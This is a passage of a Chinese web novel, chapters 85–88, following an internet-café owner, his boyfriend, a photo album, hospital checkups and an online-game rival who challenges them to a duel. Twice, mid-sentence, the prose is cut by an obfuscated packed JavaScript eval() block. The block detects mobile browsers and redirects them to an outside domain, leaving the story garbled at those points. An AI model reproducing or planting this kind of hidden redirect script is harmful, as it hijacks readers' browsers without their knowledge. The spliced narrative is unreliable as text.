宴云川解释:“一个游戏从立项到结束,得靠团队合作。我现在没办法跟任何人合作,我接受不了别人的帮忙,别人一旦帮我,我就会想到凌岳,想到两年前。” 时和本想说:“可是你接受过我的帮忙!不是吗?”但他从宴云川眼神里看明白了——你也不一样。他心里没有因为这份特殊而开心,反而因为只有他不一样而感到一阵莫名的难过。 原来,宴云川就是这样,一步一步让自己走向了形单影只。 可他不想宴云川这样。 宴云川在敲代码的时候,整个人的状态明显跟平常不一样了。他还是爱着游戏的。 “我们不用合作。”时和倏地说,“网吧可以推出自己的桌面游戏,像这样简单的像素化模拟网吧经营,他们可以自己揽客,进货。每个周末根据营业额决定这一周的见习网管,营业额前三还能获得相应的网费。往下十名获得游戏道具。” 说到自我专业的时和,就和敲代码的宴云川一样吸引人。宴云川看着时和嘴唇开开合合,听着时和有条不紊地列着那个“不用合作”的计划。 到最后,时和说:“我们慢慢来,好吗?” 宴云川也不知道自己回答了一句什么,直到第二天上了飞机,他才后知后觉,原来自己回了一句:“好。” 挺神奇的。 ** 回到榕城,宴云川便开始着手桌面游戏的安排,赶着周末上架了这款游戏的测试版,并且在网吧举行了一轮充值抽签内测的“买一送一”。 林朔野周六下午到网吧时,已经有人在玩内测了。他听说这款游戏是宴云川做的,杵在收银台好一会都没回过神来,就连沈停也失了神。 游戏第一波内测反应很好,一堆人蜂拥到前台闹着宴云川出正式版,只是需要做到IP互联还要一点时间,宴云川便又放了一批内测。 做桌面游戏的功夫,他也不忘升级时和的“豢养”版本,在时和的提议下开放了医院和学校的功能,致力于让‘宴云川’德智体美劳全面发展。 林朔野发现这款游戏的契机是有一回宴云川送餐没关电脑,他正好要填个表,就近去了收银台,就看见屏幕里一个穿白T的小胖子从收银台走到了游戏A区,手上有模有样地端着一杯可乐,另一个穿黑T的也没瘦到哪去,两人狭路相逢,谁也没胜,还是白T胖子绕路才有了一线生机。 至于为什么是胖子,那是因为时和每天眼睛一闭一睁,想的都是怎么利用资源好好养‘宴云川’,最好能干最少的活,吃最多的饭。结果,硬生生把‘宴云川’从125斤养到了176,导致健康值直线下降,现在正在医院看肥胖科。 就在‘宴云川’即将胖破180的时候,时和忍不住了,当天找到了濯清说要回榕城。 85.Chapter·识破 临近十月,榕城开始转凉,玻璃门外一片秋高气爽,来面试的两个人载着落叶开了门,其中一男生拍掉肩上落叶,兴冲冲地跑去前台,看见宴云川自来熟地喊:“川老板!” 跟在身后的男生拘谨地扯了扯衣角,对上宴云川的眼神才点头招呼。 这人长得跟时和差不多高。想到时和,宴云川眼神柔和了许多。 对上简历里的照片,宴云川直接递上去两张登记表:“先做个登记。” 那个招呼“川老板”的人拿过笔龙飞凤舞签上自己的名字,动笔的功夫又往网吧左右张望,像是在找什么人,没找到,眼里闪过一瞬失望。 “想找尹川?”宴云川问道。 毕竟林朔野的信息也在论坛挂了两个多月,加上他人来疯,期间慕名来找他的人数不胜数。 登记的人老神在在摇了摇头:“我天天看他直播!听声儿都能想象出脸了!” 他正填写求职原因,突然停下笔,看似无意地聊到PK大赛:“我听主播圈儿里的说这次PK决赛要全服务器混打,好多人都去面基线下特训了。川老板,你跟见爹不特训么?”说着又左右张望了两眼,目光怀疑地放在网管陆湛身上。 “我跟他不需要特训。”宴云川说的非常欠打又理所应当。他收过两张登记表,瞥见另一张登记表工整的两个字——谢酩。求职理由写的很朴实无华:需要一份工作,有过网管经验。 反观另一边,写了三个字:喜欢幻 后面两个大概是“世录”。 这人还在套近乎:“也对,你跟见爹实力在那呢!不过我还听说,这次决赛策划想放在线下!”似乎想用各种道听途说的情报换取一个网管位,顺便给这位猖狂的老板一点“警示”。 宴云川自认为不是“以貌取人”的老板,可他真想象不出这个身穿迪奥脚踩AJ的人端着可乐招呼客人的模样。不过,他还是因为那句“放在线下”脸色动容了片刻。 主播总有自己的人脉和圈子,而这些圈子总有自己的“内部消息”。已经不止一个人说幻世录要举办线下决赛了。从帮里人到林朔野。 距离十强已经过去了一周,按往年,幻世录这时候应该放出决赛赛程了,今年却一点动静也没有,的确奇怪。 但这跟今天的招聘没有关系。 “这一次招聘的职位是店长助理。”宴云川把话题扯回正事上,“我在招聘广告上写了要求至少两年网管经验,所以,我的面试条件是直接试岗半天。我会让网管简单跟你们的说一下开卡和收银系统,剩下的统筹还有应急处理,全程我都不会参与,也不会培训,全靠你们临场发挥。” 说罢,他意有所指地补上一句:“觉得自己能胜任的可以留下试试,如果只是想来看看,或者没有准备好、觉得吃力的,随时可以退出。” 留下这么两段话,宴云川不顾“迪奥先生”惊讶又呆愣的眼神,招呼来陆湛,自己真当甩手掌柜去养‘时和’了。 游戏更新了佛罗伦萨时间,宴云川同步了时和一份计划表。此刻,屏幕里,一个黑T小胖墩安安静静地蜷缩在窗边看书。 他从道具栏拿出一杯燕麦奶,点到‘时和’头顶,就见左上角的人物面板疲劳度下降了三个点,但是体重上升了0.01KG。 做好这一切,宴云川正想去看看旁边的带教情况,微信特别关注突然响了一下。 他点开,那个本该在看书的人兴奋地给他发了个定位:榕城国际机场。 陆湛还在说着:“点击会员充值,金额要确认到小数点后两位——”话没说完,就见一道浅白以残影冲了出去。上一次他见到这样的速度,还是初中体育中考,全校第一跑一百米的时候。 冲出网吧,一阵秋风吹过,宴云川多少冷静了。且不说从网吧到机场一个小时,时和会不会已经回去了,光是网吧里现在还在面试的那两个,他就不能不负责任地离开。 ** 榕城国际机场 时和发出消息内心有点忐忑。他知道这两天宴云川有面试,特意让濯清选的晚上的飞机偷偷回来,就是为了不让宴云川分心。 可下了飞机,他脚踩在这一片熟悉的地方,他忽然明白了为什么那么多诗写满了思乡。然后他就没忍住,这会多少有点后悔。 “你记得答应妈妈的。”走出机舱,濯清提醒时和,“明天去医院做个全身体检,再做一次心理咨询和测评。在家一天只能玩两小时游戏。” 这是时和回榕城的交换条件。时和还在等着宴云川回复,心不在焉地点了点头。 濯清没那么好糊弄,又问了一遍:“听到妈妈说什么了吗?重复一遍。” 时和这才悻悻地扯了扯书包带,拼拼凑凑地说道:“体检两小时。” 濯清没好气地说重复:“是游戏时间不能超过两小时!还有咨询和测评,知道吗?” 时和极为乖巧地应下。 这会他的心还飘在宴云川身上,猜测宴云川正在做什么,怎么还不回微信,是不是在忙。倏地,微信叮了一声。 宴云川:[拿到行李了吗?] 时和回:[刚出机舱。] 宴云川:[抱歉。] 宴云川:[今天有两个面试。] 意思走不开。 时和落在屏幕上的手烫了一下。他不明白,明明是自己隐瞒行程在先,宴云川却道了歉。好像从来都是这样,很多时候明明是自己错了,宴云川非但不怪,还反过来道歉安慰他。 濯清还在说着:“明天只有下午的号了,不过早上可以先过去体检,早点过去,不然太晚吃早餐对胃不好……”回头间,看见时和停在原地,埋着头,黑色帽檐挡住了所有目光。 “宝贝?”濯清以为时和犯了病,对宁莉说:“先去拿行李吧,我跟小和等人——” 她想说“等人走的差不多了再离开”,时和忽然抬起头:“妈,我想去网吧。” “上回东西落那儿了,”时和用了宴云川送机那天给的理由。见濯清想说什么,他先发制人说:“妈!我就去半小时,顺便把带回来的礼物拿过去,不然我明天体检还得惦记着。” ** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277751|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半盏月光:[我看你也别惦记什么己见和川老板的情报了,好好准备比赛,万一什么线下赛、混合赛都是假的呢?那你去星络岂不是浪费时间?] 星络收银台,沈予烽——也就是“迪奥先生”——大刀阔斧地摊在椅子上,一前一后摇着椅子。旁边老实站岗的谢酩好几次想提醒现在还在面试阶段,老板指不定在哪个摄像头里看着,却因为生了个内向的性子开不了口。 沈予烽还在回微信:[我敢肯定川云藏了波大的,你看,长安古韵最近闹了那么多事,川云和尹川的资料都被漏了个底朝天儿了己见芝麻大的信息都没传出来,这绝对是秘密武器!] [何况我觉得星络还不错,人也没多少,用来打发打发时间也不是不行。再说了,尹川在这里,有那个大嘴巴还愁打听不到情报?] 半盏月光:[你不怕尹川听出你声儿来?] 沈予烽:[直播我都上的声卡,标准气泡音!你又不是没听过,怎么问出这种问题?] 半盏月光:[呵呵。] 半盏月光:[听习惯了,忘记你原本声音了。] 沈予烽隔空对自己好友翻了个白眼,正想打字,网吧大门走进来一个看着就像不法分子的人。不法分子黑衣口罩全副武装,只有书包是钴蓝色,手上还提溜着大大小小的礼品袋,像是游客迷了路,误入的。 他懒洋洋地不想起来,听着谢酩尊尊敬敬地上前打招呼,询问:“请问有什么可以帮您。”心想着:一个走错路的有什么好帮的,帮他找酒店吗。 想法还没散,就听见不法分子冷飕飕地说:“我找宴云川。” 沈予烽立马坐起来了。 时和被收银台后面的动静吓了一跳,全靠陷进掌心的痛感保持镇定。来网吧是他准备的一个惊喜,所以事先没跟宴云川通气。 只是他没想到,今天网吧值班清一色陌生面孔,刷脸这项特权瞬间没了用处。 不过——相比第一次来网吧,时和发现自己对网吧的承受度高了很多。被三个陌生人包围,他的紧张程度还没有在机场高。 不知怎的,他在潜意识里把网吧划分成了自己的地盘,莫名的安心。 谢酩还在分辨来者是老板的什么人,秉持着网管基础的警惕性,谢酩正准备问时和身份,沈予烽直接插进他和时和之间,不顾时和身体的排斥熟络地拍了拍时和肩膀,说道:“川老板就在包厢,我带你去啊!” 谢酩微微皱了皱眉,欲言又止,在不得罪人和工作之间摇摆了几秒,拦下沈予烽小声说:“还不知道他的身份,而且找老板得先跟老板通报。” 沈予烽推开他:“拿着礼物的就是朋友呗!这有什么好通报的。” 说着,他想拉时和往前走,却怎么也拉不动。 时和站在原地,看着谢酩说:“麻烦跟宴云川说一声,就说……就说时和找,谢谢。” 说到“时和”的时候,沈予烽目光锋利地锁在时和身上。 等谢酩离开,沈予烽趁时和不备地喊了声:“见爹?” 时和下意识看过去。 86.Chapter·堕落 眼神还没对上,时和便收回来了。 与此同时,宴云川正在跟林朔野打探沈予烽的消息:[主播里有叫沈予烽的么?] 沈予烽明显冲着他和时和来的。单凭他能那么精准说出“内幕消息”,宴云川就有理由怀疑这人是个主播。又或者是其他服务器能叫上号的人物,认识主播。总之不是长安古韵的。 只是目的是什么? 他本想直接让人离开,又觉得把人放到眼皮子底下“监视”更好,思考再三选择了后者。 宴云川转着火机等回复。 今天周四,林朔野这会正上着课。也不知道是真在听讲还是闷头打游戏,等到谢酩敲门,林朔野都没有回消息。 “进。”宴云川对门外的人说。 “老板,外面有个叫时和的找您。”进了门,谢酩开门见山地说着重点。 话音刚落,宴云川愣了一瞬,当即站起来阔步走了出去。 而宴云川离开的瞬间,林朔野一次回了好几条信息:[怎么啦怎么啦?] [发生什么事啦?] [主播圈的聚会我只去过一次,大家没事儿都不说真名。哥你得告诉我这人的直播ID。] [不过我可以问问别人。] [哥?] [哥哥哥哥哥哥?] 格外吵闹。 ** 走出包厢,沈予烽已经离开了。陆湛跟三魂丢了七魄一样望着门外。等到余光看见宴云川,陆湛才急忙走上去汇报:“老板,他说感觉自己胜任不了这个工作,就不耽误时间了。” 这个“他”是谁不言而喻。 至于陆湛为什么那么呆滞,纯属头一回看见有人找工作这么随性潇洒,刷新了三观。 不过很快他发现自己的三观还没到达下限。 他眼睁睁看着宴云川脚步轻缓地走到那个名叫“时和”的男生前,用他从未听过的语气特别温柔地问:“怎么不给我打电话?” 叫时和的男生戴着帽子口罩看不见表情,光听声音也听不出情绪。但他只说了两个字:“惊喜。”就让宴云川眼尾化成了春风。 陆湛觉得自己不应该在这里,有点亮,大概是他多想了。不过,当他发现宴云川身后的谢酩也没好到哪去时,突然就气顺了。 走进包厢,只听哗啦一声,时和手上的礼品袋尽数被接到了椅子上。宴云川按着人往桌沿挤,手刚拖上腰,门外响起暗号似的咚咚三声。 谢酩一本正经站在门外:“老板,需要给您拿点零食饮料吗?” 时和吓得什么温存的心都没了,跳离了桌。 “新的网管?”时和问宴云川。 宴云川揉着眉心,似有无奈:“预备役。” 大概是“面试”两个字带来的紧张感,这位预备役有点杯弓蛇影草木皆兵了。 门外,陆湛站在谢酩身后,表情大概在说:我拦了,没拦住。 虽然他也不知道自己为什么要拦。 宴云川看见谢酩半张脸都涨红了,到底没有拂了这位预备役的积极性,说道:“帮忙拿两瓶东方树叶,再拿——飞机餐顶饱吗?”他对时和说。 见时和点头,宴云川才跟谢酩继续吩咐:“再拿两包黄油瓜子,和一包薯片,谢了。” 预备役飘着离开了。 谢酩离开后,宴云川凑上去亲了时和一下。时和以为宴云川要继续,连忙说:“有人进来!” 宴云川笑了笑:“宝贝儿,我没想做什么。” 包厢右上角有台摄像头,正对着两人。虽说宴云川独自在里面的时候会把摄像头关掉,可时和还是觉得那台摄像头在“嘲笑”他。 这会轮到他涨红了。 谢酩拿着东西进来时,就见时和跟被他传染了一样整个人紧绷又小心,反观座位上的宴云川,脸上带笑还有些玩味,跟刚见面那会的“疏离感”完全不一样。 他愣了一愣,对上宴云川眼神,赶紧放下东西埋着头离开了。 时和头一回看见比自己还紧张的人,显然忘记了他第一次来网吧的那副惨样。 他把礼品袋按照人头分好,问宴云川:“秋儿的礼物……” 宴云川回:“明天我帮忙寄给她。” 时和点点头,继续分着林朔野和沈停的,最后才把宴云川的礼物递过去。 礼物用一个黑色硬纸袋装着,依稀能看见银色金属扣。 宴云川以为是纪念币。时和拿出来他才看见这是一本相册。 “伯父给的?”宴云川问。 时和嗯一声:“要拆开看看么?” 其实这本相册时熵也给了时和一份,里面每一张照片他都看了好几遍。所有的双人成片都透着几分克制和距离,就像两个普通朋友。濯清没有怀疑,只是时和有点失落。 然而,当宴云川打开他这一本相册,时和发现他拿到的完全是“净网”后的宝宝巴士版本。 相册第一张,便是时和从背后抱住宴云川的照片。再往下,还有宴云川捏他后颈的照片、分享三明治的照片、甚至还有“吻照”。 这个吻照出来,两人都有点儿怔。 “伯父…P的?”宴云川不太确定。 时和说:“我爸不会P假照。” 两人又有点失忆了,完全想不起自己什么时候在大庭广众下接过吻。 直到翻到下一张,宴云川的手搭在时和肩上,时和才突然想起来,那天是宴云川在他耳边说话。原来时熵借了个位。 这一刻,时和觉得自己亲爹多少有点厚此薄彼。虽说时熵是好意,为了帮他瞒着濯清,可也不至于给宴云川的全是18.禁,给他的都是社会主义兄弟情吧! 他带着醋,看着宴云川一页一页往下翻,表情愈发柔和。等宴云川再抬头时,时和已经醋成了一只河豚。 宴云川觉得好笑,合上照片上前安抚着自家男友情绪,说道:“别担心,照片是我们两个人的,两本合成一本才是完整的相册。这一本我就放在网吧,想看随时可以过来。” “两本合成一本才完整“的话术时和很受用,他尾巴快翘上天了,嘴上矜持地说:“那我把另一本也拿来网吧。” 宴云川笑着在时和额角又亲了一下。 收拾好桌上残局,宴云川回到电脑前,发现林朔野五分钟前发了五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285048|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条信息:[哥,我问了,主播圈已透露真名的人里没有一个叫沈予烽的。] [不过你猜怎么?] [听我隔壁洛阳笙歌的朋友说,上一届PK大赛亚军真名就叫沈予烽!] [这名字很有辨识度,包是他!] 瞥见宴云川表情变化,时和才知道刚才那人的“底细”,随后又想到他叫出口的那声见爹。 “我回头了。“时和笃着眉头。 宴云川说没事:“他应该是来打探我们有没有在秘密特训,好胜心作祟。” 结果当晚夜深人静,游戏论坛突然多了一个帖子:#猜猜我在星络看见了谁!# 贴子直接附上了时和侧身照片。 ** 时和看见帖子的时候刚抽完血,没吃早餐加上低血糖,导致控制不住情绪,气血上涌,体检还没做完就吊了一瓶葡萄糖。 帖子一看就是沈予烽发的,因为此人极其嚣张,是目前唯一一个用大号爆料的汉子。 帖子评论热度不亚于宴云川身份曝光那会。 有夸时和好看的:[卧槽!见爹本人这么帅的吗!我这些年错过了什么!对不起川老板!我要移情别恋三秒钟!] 有说时和脸熟的:[我怎么看着像我同学?] 还有人说见过的:[我想起来了!有一回晚上我看见一个人冲进网吧!没想到是活的见爹!] 只是评论有夸就会有贬。 有人说时和肯定是长得丑才遮这么严实;有人附议,觉得口罩底下肯定是个满脸青春痘的宅男或者伪娘;还有人直接抨击他和宴云川卖腐,说什么川老板堕落,竟然喜欢这样的小白脸。 经过几次论坛事件,时和发现自己对论坛有点脱敏,一瓶葡萄糖下去情绪就平复了不少。 宴云川依旧说着没事,可时和知道,因为这一爆料,网吧未来一段时间又没消停日子了。 这大概才是沈予烽真正的的“策略”,他心想。沈予烽从头到尾都不是打听情报,而是板上钉钉认为他跟宴云川在秘密特训,想要给宴云川找点事做。 紧接着,时和就在那条“小白脸”的评论区下看见了宴云川的回复:[我喜欢谁都跟你没关系。]直接给帖子贡献了新一波的热度。 直到下午做咨询,时和的情绪都没有完全平复。一来他觉得自己连累了宴云川,二来他觉得宴云川在变相出柜,虽说大家都没证据。 他发现自己好像喜欢上了这种阳光底下偷偷摸摸的感觉,喜欢看别人通过各种他自己都没发现的细节来猜测他和宴云川的关系,喜欢听别人说他俩很配。 时和走了神。 注意力再次被拉回来的时候,他听见心理医生问:“小和,在佛罗伦萨有发生什么让你特别愉快、或者印象深刻的事么?” 时和不知道想到什么,整个人都红透了。 他咳了两声,拿起桌上水杯灌了几口,说道:“有。”嗓子都哑了。 医生思索了一会,没问有哪些,而是在本子上记了一下,和蔼问道:“是交了新朋友吗?” 时和说:“没有。” 从头到尾,一直都是宴云川。 87.Chapter·复学 离开咨询室,濯清惯例问了问时和感受就被医生召了进去。在商业场各种好赖话听惯了的她,仅凭医生一个“坐”字,便听出了时和的咨询结果不错。 “是快好了吗?”濯清手搭在桌子边缘,身体微倾地问医生,笑意溢于言表。 医生没点头也没摇头,只是说:“心理疾病恢复起来是一个漫长而又微光前行的过程。”见濯清笑意淡下去,他又补充,“不过,小和这一次的恢复很不错,佛罗伦萨的旅行是一次质的飞跃。” 话落,濯清说道:“可他落地犯了病。” 医生带着微笑解释:“有且仅有一次,这样的犯病也是一场自我修复。” 等待濯清消化信息的功夫,医生斟酌了一下开口:“濯女士,我想跟您了解一下,小和身边有异性朋友吗?” “是小和怎么了吗?”濯清没直接回答。 医生瞥见濯清警觉的模样,慢慢地抬手把桌上圆珠笔插进侧衣袋里,看见濯清眼神跟着圆珠笔动了两下才说:“别担心濯女士,小和很好。只是因为身边亲密关系多元更有助于心理健康,所以我才想问问您,多方面了解一下小和交友状态,协同定制恢复计划。” 听见医生说法,濯清瞬间放松了身子。她微靠在椅背上说:“我还以为——” 还以为时和谈恋爱了。 “没什么。”濯清又捋着发梢坐直,回忆着之前沈停说的话,“小和身边只有两个异性朋友,一个是小川——就是他游戏师父——小川网吧的网管,好像叫……秋儿,另一个是游戏里的朋友,小和提过两次,叫柚子。” “小和跟她们的接触多吗?” “不算多。” 濯清说完,没注意到医生眉头一瞬而过的担忧,就听见医生说:“濯女士,根据小和现在的治疗情况,我建议恢复校园生活。”说到“恢复校园生活”,濯清莫名起了排斥,刚想察觉,这份排斥便被医生的话打断了。 医生继续说:“从走读开始,尝试让他接触更多的人。前提是给他办理转学,避免二次创伤。当然,这一切得建立在小和的意愿之上。” 她问道:“小和还没完全恢复,现在去学校会不会不利于病情?” “您的担心是正常的。”医生点了点鼠标,调出时和咨询记录,看向濯清,“我做了纵向对比,小和这四个月的治疗效果比前半年都要好。他的病并非童年带来,相比那些童年就社交障碍的患者来说,小和更容易治疗。而且,根据前几次咨询结果反馈,小和并不排斥人,相反,他需要人的鼓励。” ** 带着这番话走到活动室,濯清一眼看见角落里的时和。她正想喊,窗影错落间,她意外瞥见时和怀里抱着一个“奥特曼”,“奥特曼”回了个头,是个小朋友。小朋友在时和怀里指点江山似的点点这里,点点那里,时和非但没有不知所措,目光还带着无限耐心。 “宝贝!”濯清观察了三分钟,朝里喊了声。 小朋友还在问时和:“哥哥!为什么窗外的云一朵是卡车,一朵是小狗啊?卡车会不会撞到小狗呢?小狗怎么不会跑哇!” 交流了半小时,时和显然练就了自己一套应对方案。他不假思索就说:“因为云朵是天空做的棉花糖,它——” 话没说完,濯清走到了身后。 临走前,时和把答案补全了才回的头。他对小朋友说:“它们其实一直在跑。小狗跑的很快,卡车追不上,只是我们离它们太远了。” 因为这句话,濯清笑了一路。那样的笑不是嘲笑,更多是没想过自己儿子还有这一面。 进了电梯,濯清开玩笑说:“没想到我们宝贝还有做幼师的潜质。” 时和看着笑不拢嘴地母亲,无奈喊了声妈。 今天遇见小朋友是个意外。他在休息室待了五六分钟,小朋友的父亲才带着他姗姗来迟。他看不出小朋友得了什么病,看上去很正常,只是比其他人更喜欢问为什么,而且不怕生。 如果因为好奇就被送来了心理医院—— 时和觉得自己也有点天马行空了。 走出电梯,时和拿出手机给宴云川发微信:[我遇见了那个小孩。] 宴云川问:[小孩?] 时和:[五月七号,你在休息室那天。] 时和:[奥特曼。] 其实说到五月七号的时候,宴云川已经想起来了:[他很可爱。] 时和回了个对,又说:[那天我听见了。] 大概“睹人思事”,加上五月七号那天听见的答案不够满意,时和又把这件事拖了出来。 他问道:[如果再问你一遍呢?] [火车离开轨道会怎么样。] 宴云川回答依旧:[只有驾驶员知道。] 就在时和对答案不满意想再问一遍时,濯清突然叫了他一声:“宝贝。” 时和本能把手机掐掉,抬头看向濯清。他以为濯清想叮嘱他别低头玩手机,又或者把玩手机十大危害跟他从头说一遍。正打算点头回答知道了,濯清问的却是:“想去学校吗?” 走过楼梯,时和都没说话。 直到上了车,时和才问:“医生让我去吗?” 濯清:“医生说由你选择,建议试试。可——” 濯清本想说可以转学,不知什么心思作祟,那句转学涌上喉咙的时候,又瞬间落了回去。她发现她有点看不懂自己了。让时和好起来,不是她一直在做而且一直期待的吗…… 车开得很慢,车里两人各有心事,向来开快车的濯清这一次却开到后面的人按喇叭催促。濯清深呼一气,提速卡着五秒越过绿灯。油门踩下去的瞬间她脑子清醒了很多。 理智回笼,濯清透过后视镜看向时和,打算把没说完的话说完。 时和先一步开口:“妈,可以不去苍大吗?” 时和问出这句话的时候,濯清是松了一口气的。至少她不用再为刚才的反常找补。她把刚才的反常当作从心理医院出来的副作用,这会副作用没完全过去,明明是她提出来的话题,她却问问:“宝贝想去学校了,对吗?” 时和认真想了会。与其说他想回学校,不如说他想要一份自由。他想快点毕业,就像每个阶段都会听见的:“等你长大,就可以——” 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这句话时和没忍住,放在耳边听了听,真听出了三分遗憾,剩下七分则是揶揄。 他想着怎么安慰一下自家男朋友,就见宴云川又回了一句。时和点开放在耳边,听见耳畔传来的声音说:“还是不行,不然遇不到你。” 濯清回头催人的时候,发现时和整张脸都红透了,险些融进一辆红宝马里。 ** 吃过饭,时和上了游戏。上线就有铺天盖地地喇叭问:“你们见到见爹了吗?” 今天的网吧人流堪比暑假,来网吧的大多是周围上班族和大学生。所有人进来流程出其地一致,先是打开相册,然后四下张望,最后等着胆大党上去问宴云川:“今天见爹不来吗?” 榕大刚开学没什么课。时和听见林朔野在群里绘声绘色转述网吧情况,本想对宴云川发一句抱歉,转念又觉得发出去的抱歉肯定会以更大的安慰转回来,就放弃了道歉的心思,转而问起了客流。 经历过纪帆爆料事件,时和和宴云川心理承受能力都被拔高了。两人在微信讨论怎么利用这一波新的客流做流量转化,就连林朔野都没有第一次遇事那样的惊慌。 他们都成了见过大世面的过来人,只剩单身在群里打抱不平,恨不得现场把沈予烽揪出来来一场真男人大战。 说来,自从那天宴云川在群里出了个柜,时和以为单身和清絮这样的钢铁直男会无法接受,他没想到一小时不到,单身就欣然接受了,还在群里控诉宴云川为什么没有早点说。 不过那样的控诉相比现在,简直是小巫见大巫。喇叭里时不时传来单身不带喘的声音:“是人吗!就说是人吗!我要地域炮了啊!以前怎么没发现洛阳笙歌的人这么狗呢!狗策划怎么还不出跨服帮战!不就是个PK冠军吗!我们帮还有连冠呢我说什么了我!” 而幻世录PK赛的新赛程也在这样的控诉之下开始了。没有线下,也没有混区。 88.Chapter·战帖 决赛定在两天后,和往年赛制一样,以服务器为单位,决胜区服冠军。世界频道因为这个临时的像是策划喝醉酒画出来的公告吵翻了,在寻找时和的空档撕出了一条口子,直骂策划:“以为你憋了个好的,结果你拉了个大的?” 骂人大军大多是已经结束或者压根没报名的吃瓜群众,他们对混服不混服的影响其实不了解,但是他们喜欢看大乱斗,越混乱越好。 而那些已经报名了的选手,听见不混服的消息都乐疯了。其中包括单身。 古人云知己知彼百战不殆,不混服意味着他们不用去收集其他区服高手的情报。 “就说哥运气好!”单身停止了对沈予烽的控诉,情绪变脸飞快,在语音里嘚瑟。 柚子忙着视频大赛决赛,PK场打到百强拿了个奖励就弃权了。这会儿看见单身嘚瑟,她颇为失望地问林朔野:“川儿,你情报呢?” “……”林朔野也没想到策划憋这么久就为了发个这样一个光打哈欠不放屁通知,讪讪说,“那谁知道——说了不保真——”真字刚说完,林朔野忽然卧槽一声,“看喇叭” 这一声卧槽拉回了时和的注意力。 时和其实不在意混服不混服,对于他来说混服也是打,不混服也是打,对象是谁都一样。可他不在意,不代表大家都不在意。比如沈予烽。 他切回游戏,一眼看见一个叫“烽魂归处125”的新人账号豪横地发了金光闪闪的喇叭。价值一千的喇叭在屏幕上悬停了将近十分钟,除去标点,除去人名,内容洋洋洒洒十五个字:[@川云@岁捻后天星络网吧线下SOLO,敢不敢接受!] 世界频道热闹极了。 [卧槽卧槽卧槽!这人是谁?] [瓜子嗑了小板凳!赌坊开起来!我赌一套三百的时装!川老板肯定应战!] [咱川老板是好战的人吗?我赌两套!不会!] … “烽魂归处?”喇叭里,林朔野念了念ID,觉得耳熟。想了一会,他长噢一声,似乎在对宴云川说话,“就是我上次说的那个洛阳笙歌的冠军啊!他就叫这个名儿!包是他!” 时和听见淡淡一声嗯,果然是宴云川。下一秒他就收到了宴云川消息:[想应战吗?] 悬浮在屏幕中央的喇叭已经消失,被吃瓜群众发的一连串问号和手动@代替。 时和问:[你想吗?] 问出这句话就是不想了。 宴云川回:[我崇尚和平。] 时和笑了笑:[我也是。] 诚如世界频道所言,宴云川并不是一个好战的人,他除了刷分和比赛凶残了点,平常时间不会主动对人发起PK。 也不对。时和想了想,宴云川主动发起过的。一次是对那对情侣,一次是为了给他陪练。 喇叭里,单身还在问:“川老板应不应战啊?透露一下呗,我去赌坊赚一波!” 林朔野咂摸说:“你觉得我哥会应战嘛?” 单身啧啧两道:“只有川老板一个那肯定不会,问题是这回有见儿啊!川老板不得怒发冲冠博美、兄、妈的!博情人一笑啊!” 喇叭传来连绵的笑声。 宴云川开麦对单身说:“哪天我一定给你寄一本新华字典。” 大家笑得更猛了。 确认不应战,单身兴冲冲地就去下注了。那些在赌坊观望的人看见单身下了注,二话不说把手里的票都砸了进去,瞬间拉低赔率。 就在此时,那个叫烽魂归处的人又发了一条喇叭,这次只@了时和:[是怕输吗?] 宴云川忽然对时和说:[我好像高估了自己。]意思就是想应战了。 时和安抚着自家男朋友:[不用。] 他加上一句:[浪费精力。] 说完又严谨地加上一句:[不值得。] 最后似乎觉得这样还不够,时和思绪一转,打出一排字:[我们会赢。] 喇叭的麦没关,时和听见林朔野的麦里传来一声轻笑,笑得他耳膜酥了一下。 这声笑夹杂在林朔野的语音里,但是因为声音太柔,单身耳听八方还是听见了。 他问林朔野:“你笑什么?” 林朔野回:“有病?我哪里笑了?” 单身:“我他妈听到了!笑得跟发春一样!” 想到了什么,林朔野沉默了好一会,从牙缝里挤出一个字:“滚。” 时和耳朵红透了。 看着屏幕里豪横的喇叭再次消失,时和正想缩小游戏,鼠标刚点到右上角,消失的喇叭又豪横地占满了屏幕。这次烽魂归处@的宴云川:[川老板不会在偷偷庆幸没有混服比赛吧?不敢来直说啊!直接认输就好了呗!也是,面儿都不敢露的人谁知道冠军是本人打的还是代打?啧,要我说也别拿服务器冠军当遮羞布了!] 世界频道的人知道宴云川不会应战,可气不过自己服务器的人被这样嘲讽。 喇叭顶不掉,他们就在世界频道疯狂刷屏。有几人邀请烽魂归处出来单挑,还有人不知道从哪得来的消息,扒出烽火归处是沈予烽,也开了小号去洛阳笙歌以牙还牙。 就在喇叭消失的瞬间,一条新的喇叭无缝顶了上去——[岁捻:好。] 世界频道安静三秒,整齐划一刷起了问号。 ** 看着喇叭上的“好”字,宴云川眉头一挑,有点意料之中的淡然。他又想到了时熵说的时和容易冲动,在心里给这份冲动点了个头。 这么想着,宴云川点开商场,买了个一样的喇叭,刚打着字手就被林朔野晃了过去。 林朔野嚷着:“哥!宝贝儿应战了你看到了吗!”说罢,他眼神一瞥,瞥见那个“你看到吗”的人不光看到了,还在喇叭里打了一个:嗯。 他觉得自己被喂了一嘴粮。 皇帝不急太监急不是林朔野的风格。既然两个当事人都不在意,林朔野很快也淡定了。他松开宴云川的手,转着凳子问:“哥,你们跟这个沈予烽什么情况?为什么他突然发起宣战了?” 因果很好猜。宴云川一边转着火机一边点屏幕:“大概以为会混服,发了帖子,或者承诺了什么,收不了 